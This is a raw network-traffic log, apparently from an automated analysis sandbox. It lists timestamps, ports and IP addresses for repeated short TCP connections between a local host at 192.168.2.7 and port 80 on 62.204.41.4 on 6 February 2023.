Feb 6, 2023 18:36:19.753324032 CET	80	49809	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.753475904 CET	49808	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.753537893 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.755074978 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.815566063 CET	80	49809	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.818711996 CET	80	49809	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.819766998 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.925956964 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.926604033 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.987039089 CET	80	49809	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.987149000 CET	49809	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.990097046 CET	80	49810	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:19.990222931 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:19.991660118 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.054574013 CET	80	49810	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.057945013 CET	80	49810	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.058104038 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.171683073 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.172406912 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.233057976 CET	80	49811	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.234096050 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.234344959 CET	80	49810	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.234433889 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.234479904 CET	49810	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.295352936 CET	80	49811	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.297949076 CET	80	49811	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.298094988 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.414510012 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.415374994 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.475107908 CET	80	49811	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.475162029 CET	80	49812	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.475277901 CET	49811	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.475358963 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.476057053 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.535825014 CET	80	49812	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.538273096 CET	80	49812	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.538475990 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.646131039 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.647990942 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.706136942 CET	80	49812	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.706434965 CET	49812	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.709522963 CET	80	49813	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.709757090 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.733652115 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.795197964 CET	80	49813	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.797667980 CET	80	49813	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.797812939 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.910953999 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.912096977 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.971772909 CET	80	49814	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.971934080 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.972383976 CET	80	49813	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:20.972481966 CET	49813	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:20.972676992 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.032181025 CET	80	49814	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.035640955 CET	80	49814	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.035901070 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.147708893 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.148442984 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.207469940 CET	80	49814	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.207696915 CET	49814	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.209918022 CET	80	49815	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.210105896 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.210733891 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.272205114 CET	80	49815	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.274374008 CET	80	49815	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.274502993 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.383415937 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.384109974 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.443527937 CET	80	49816	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.443629980 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.444072008 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.444828033 CET	80	49815	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.444909096 CET	49815	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.503499985 CET	80	49816	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.512933016 CET	80	49816	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.513020992 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.629384995 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.630026102 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.689376116 CET	80	49816	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.689551115 CET	49816	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.692748070 CET	80	49817	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.692853928 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.693658113 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.756208897 CET	80	49817	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.758744001 CET	80	49817	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.758868933 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.866069078 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.867434025 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.928726912 CET	80	49817	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.928894997 CET	49817	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.928946972 CET	80	49818	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.929034948 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.931466103 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:21.993208885 CET	80	49818	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.996027946 CET	80	49818	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:21.996129036 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.103893995 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.105462074 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.166991949 CET	80	49818	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.167154074 CET	49818	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.167519093 CET	80	49819	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.167637110 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.168381929 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.230781078 CET	80	49819	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.234762907 CET	80	49819	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.234890938 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.356446028 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.357076883 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.417917013 CET	80	49819	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.419632912 CET	80	49820	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.419866085 CET	49819	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.419946909 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.420697927 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.483264923 CET	80	49820	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.485869884 CET	80	49820	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.486804008 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.598115921 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.598843098 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.660837889 CET	80	49820	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.661151886 CET	80	49821	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.661273003 CET	49820	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.661323071 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.668124914 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.730354071 CET	80	49821	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.732945919 CET	80	49821	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.733164072 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.848900080 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.851080894 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.911329031 CET	80	49821	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.912560940 CET	80	49822	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.912698984 CET	49821	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.912744999 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.933331966 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:22.995982885 CET	80	49822	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.998328924 CET	80	49822	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:22.998683929 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.114511967 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.115298986 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.176227093 CET	80	49823	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.176266909 CET	80	49822	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.176441908 CET	49822	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.177068949 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.177068949 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.237525940 CET	80	49823	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.242027998 CET	80	49823	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.246100903 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.351296902 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.351907015 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.411243916 CET	80	49824	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.411531925 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.412285089 CET	80	49823	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.412389994 CET	49823	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.412568092 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.472023010 CET	80	49824	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.474493980 CET	80	49824	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.474595070 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.583244085 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.584017038 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.642987967 CET	80	49824	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.643198967 CET	49824	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.645581961 CET	80	49825	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.645744085 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.646591902 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.708326101 CET	80	49825	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.710850954 CET	80	49825	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.710993052 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.817480087 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.819150925 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.879230022 CET	80	49825	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.879338980 CET	49825	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.881501913 CET	80	49826	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.882129908 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.882734060 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:23.945066929 CET	80	49826	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.947952032 CET	80	49826	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:23.948211908 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.052958965 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.053294897 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.115139008 CET	80	49827	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.115489006 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.116180897 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.116492987 CET	80	49826	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.116731882 CET	49826	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.177146912 CET	80	49827	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.180759907 CET	80	49827	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.180931091 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.285867929 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.286688089 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.346779108 CET	80	49827	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.346941948 CET	49827	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.349172115 CET	80	49828	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.349297047 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.349766970 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.412312031 CET	80	49828	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.414799929 CET	80	49828	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.414932013 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.520606995 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.521541119 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.581953049 CET	80	49829	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.582061052 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.582432032 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.583156109 CET	80	49828	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.583230019 CET	49828	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.642648935 CET	80	49829	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.644867897 CET	80	49829	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.644946098 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.759788990 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.767992973 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.820333958 CET	80	49829	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.820517063 CET	49829	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.828310966 CET	80	49830	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.828499079 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.829107046 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:24.889283895 CET	80	49830	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.891784906 CET	80	49830	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:24.891896963 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.043067932 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.044207096 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.103478909 CET	80	49830	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.103687048 CET	80	49831	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.103687048 CET	49830	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.103864908 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.110774040 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.170573950 CET	80	49831	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.174256086 CET	80	49831	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.174582005 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.289313078 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.290182114 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.349016905 CET	80	49831	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.350847006 CET	80	49832	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.350924969 CET	49831	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.351012945 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.351768970 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.412540913 CET	80	49832	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.414864063 CET	80	49832	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.418386936 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.539611101 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.540402889 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.600435972 CET	80	49832	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.602864981 CET	80	49833	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.603007078 CET	49832	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.603060961 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.603473902 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.665956974 CET	80	49833	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.668282032 CET	80	49833	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.668427944 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.770081043 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.770724058 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.831374884 CET	80	49834	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.832659006 CET	80	49833	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.832798958 CET	49833	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.833187103 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.833187103 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:25.893564939 CET	80	49834	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.896348000 CET	80	49834	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:25.899483919 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.004955053 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.006156921 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.065495014 CET	80	49834	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.066445112 CET	80	49835	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.066637993 CET	49834	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.066669941 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.067780972 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.128005981 CET	80	49835	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.131688118 CET	80	49835	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.133699894 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.241240025 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.241877079 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.301666021 CET	80	49835	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.302397013 CET	49835	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.304018021 CET	80	49836	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.304249048 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.304985046 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.366341114 CET	80	49836	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.368634939 CET	80	49836	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.368808985 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.489197969 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.489928961 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.549787998 CET	80	49837	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.549973011 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.550389051 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.550664902 CET	80	49836	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.550748110 CET	49836	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.610085011 CET	80	49837	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.612377882 CET	80	49837	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.612494946 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.724855900 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.726346970 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.784843922 CET	80	49837	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.785121918 CET	49837	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.788491011 CET	80	49838	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.788701057 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.789628983 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.851233959 CET	80	49838	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.853873014 CET	80	49838	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:26.853971004 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.961549997 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:26.963706017 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.023355007 CET	80	49838	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.023531914 CET	49838	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.025332928 CET	80	49839	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.025597095 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.025983095 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.087709904 CET	80	49839	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.091368914 CET	80	49839	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.091530085 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.226459026 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.228166103 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.288265944 CET	80	49839	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.288501978 CET	49839	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.289547920 CET	80	49840	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.289712906 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.290138006 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.351527929 CET	80	49840	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.353770018 CET	80	49840	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.354032993 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.458452940 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.459522963 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.519880056 CET	80	49840	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.520026922 CET	49840	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.521689892 CET	80	49841	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.521832943 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.522197008 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.584477901 CET	80	49841	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.586823940 CET	80	49841	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.586966991 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.702538013 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.703613043 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.764092922 CET	80	49842	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.764321089 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.764796972 CET	80	49841	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.764911890 CET	49841	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.765216112 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.825607061 CET	80	49842	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.829616070 CET	80	49842	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:27.829737902 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.944648027 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:27.945267916 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.005152941 CET	80	49842	62.204.41.4	192.168.2.7
